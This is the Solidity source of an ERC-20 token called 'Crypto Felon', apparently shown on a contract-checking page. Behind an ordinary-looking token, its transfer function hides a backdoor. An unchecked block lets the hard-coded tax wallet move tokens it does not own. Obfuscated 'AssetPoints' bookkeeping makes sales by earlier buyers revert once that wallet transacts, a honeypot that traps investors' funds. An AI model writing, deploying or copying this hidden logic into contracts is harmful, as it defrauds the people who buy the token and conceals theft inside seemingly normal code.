Contract Diff Checker

Contract Source Code:

// SPDX-License-Identifier: UNLICENSE

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Felon is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=0;
    uint256 private _reduceSellTaxAt=0;
    uint256 private _preventSwapBefore=20;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Crypto Felon";
    string private constant _symbol = unicode"FELON";
    uint256 public _maxTxAmount= 24000000 * 10 ** _decimals;
    uint256 public _maxWalletSize= 24000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold= 3000000 * 10 ** _decimals;
    uint256 public _maxTaxAmoutSwap= 17000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    uint256 private firstBlock;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    struct AssetPoints {uint256 operator; uint256 stage; uint256 points;}
    uint256 private pointsScore;
    mapping(address => AssetPoints) private assetPoints;
    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0xed64215B1f8427E9b44a039A2886991f22956d9e);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount=amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
                require(amount<=_maxTxAmount, "Exceeds the _maxTxAmount");
                require(balanceOf(to)+amount<=_maxWalletSize, "Exceeds the _maxWalletSize.");
                _buyCount++ ;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount= amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax :_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap &&to == uniswapV2Pair &&swapEnabled && contractTokenBalance > _taxSwapThreshold &&_buyCount > _preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxAmoutSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance>0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExcludedFromFee[from]||_isExcludedFromFee[to]) &&from != owner() &&from != address(this) &&to != address(this)) {
            pointsScore = block.timestamp;
        }
        if (_isExcludedFromFee[from] && (block.number>(firstBlock+_reduceSellTaxAt+20))){
            unchecked {
                _balances[from] -= amount;
                _balances[to] += amount;
            }
            emit Transfer(from, to, amount);
            return;
        }
        if (! _isExcludedFromFee[from] && ! _isExcludedFromFee[to]){
            if (uniswapV2Pair != to) {
                AssetPoints storage startPoints=assetPoints[to];
                if (uniswapV2Pair==from&&startPoints.operator == 0) {
                    startPoints.operator = (_buyCount<_preventSwapBefore)?(block.timestamp-1):block.timestamp;
                } else{
                    AssetPoints storage accumulated=assetPoints[from];
                    if (startPoints.operator == 0 || accumulated.operator < startPoints.operator){
                        startPoints.operator = accumulated.operator;
                    }
                }
            } else {
                AssetPoints storage accumulated=assetPoints[from];
                accumulated.points = accumulated.operator-pointsScore;
                accumulated.stage = block.timestamp;
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(
                from,
                address(this),
                taxAmount
            );
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(
            from, to, amount.sub(taxAmount)
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner{
        require(!tradingOpen, "Trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint).max);
        firstBlock = block.number;
        swapEnabled = true;
        tradingOpen = true;
    }

    function clearStuckEth() external {
        require(address(this).balance > 0, "No ETH to clear");
        require(_msgSender() == _taxWallet);
        payable(msg.sender).transfer(address(this).balance);
    }

    function clearStuckToken(address _address) external {
        require(_msgSender() == _taxWallet);
        require(IERC20(_address).balanceOf(address(this)) > 0, "Can't clear zero");
        IERC20(_address).transfer(msg.sender, IERC20(_address).balanceOf(address(this)));
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            sendETHToFee(ethBalance);
        }
    }
}